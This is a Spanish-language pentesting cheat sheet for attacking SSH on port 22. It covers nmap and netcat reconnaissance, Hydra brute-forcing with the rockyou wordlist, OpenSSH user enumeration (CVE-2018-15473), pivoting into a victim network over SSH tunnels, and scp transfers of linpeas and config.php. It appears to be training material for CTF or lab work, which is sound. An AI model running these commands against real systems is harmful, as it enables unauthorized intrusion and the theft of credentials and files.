Appearance
SSH (Secure Shell) - Puerto 22
Protocolo de administración remota segura. Es la puerta de entrada más común a sistemas Linux.
Quick Wins
Comando de Reconocimiento Rápido:
bash
nmap -p22 -sC -sV -oN nmap_ssh <IP>Banner Grabbing:
bash
nc -nv <IP> 22🧭 Brújula de Decisión
Selecciona tu situación actual para ver los pasos recomendados.
🔐 Caso A: Tengo Credenciales (Usuario y Contraseña/Key)
Si ya has conseguido credenciales válidas (por fuerza bruta, filtraciones, o reutilización).
Conexión Estándar:
bashssh usuario@<IP>Conexión con Llave Privada (
id_rsa):- Asegúrate de los permisos correctos:
chmod 600 id_rsa
bashssh -i id_rsa usuario@<IP>- Asegúrate de los permisos correctos:
¿Errores de Algoritmo? (Legacy SSH): Si recibes errores como
no matching key exchange method found, intenta forzar algoritmos antiguos:bashssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc usuario@<IP>
👤 Caso B: Solo tengo un Usuario (Sin contraseña)
Sabes que el usuario admin o root existe, pero no tienes la clave.
Fuerza Bruta Dirigida (Hydra):
- Es ruidoso, pero efectivo si la contraseña es débil.
bashhydra -l <USUARIO> -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4Fuerza Bruta de Llaves SSH:
- A veces se dejan llaves por defecto o predecibles.
- Herramienta sugerida: Metasploit
scanner/ssh/ssh_login_pubkey.
⬛ Caso C: No tengo nada (Black Box)
Solo ves el puerto 22 abierto y no tienes usuarios ni claves.
Enumeración de Usuarios:
- Algunas versiones de OpenSSH permiten enumerar usuarios por diferencias en el tiempo de respuesta.
- Script:
searchsploit openssh user enumeration - CVE-2018-15473 (OpenSSH < 7.7).
Vulnerabilidades de Versión:
- Revisa el banner exacto obtenido con
nmaponc. - Busca en Google:
OpenSSH X.Y exploit.
- Revisa el banner exacto obtenido con
Fuerza Bruta Total (Último recurso):
- Intentar adivinar usuario Y contraseña. Muy lento.
bashhydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4
🛠️ Arsenal y Trucos
SSH Tunneling (Pivoting)
Una vez dentro, usa SSH para acceder a redes internas.
Local Port Forwarding (Traer un servicio remoto a mi máquina):
- Quiero ver el puerto 8080 de la víctima en mi localhost:8080.
bashssh -L 8080:127.0.0.1:8080 usuario@<IP>Dynamic Port Forwarding (Proxy SOCKS):
- Crear un proxy en mi puerto 1080 para navegar por toda la red de la víctima.
bashssh -D 1080 usuario@<IP> # Luego configura proxychains para usar 127.0.0.1:1080
Transferencia de Archivos (SCP)
- Subir archivo:bash
scp linpeas.sh usuario@<IP>:/tmp/ - Descargar archivo:bash
scp usuario@<IP>:/var/www/html/config.php .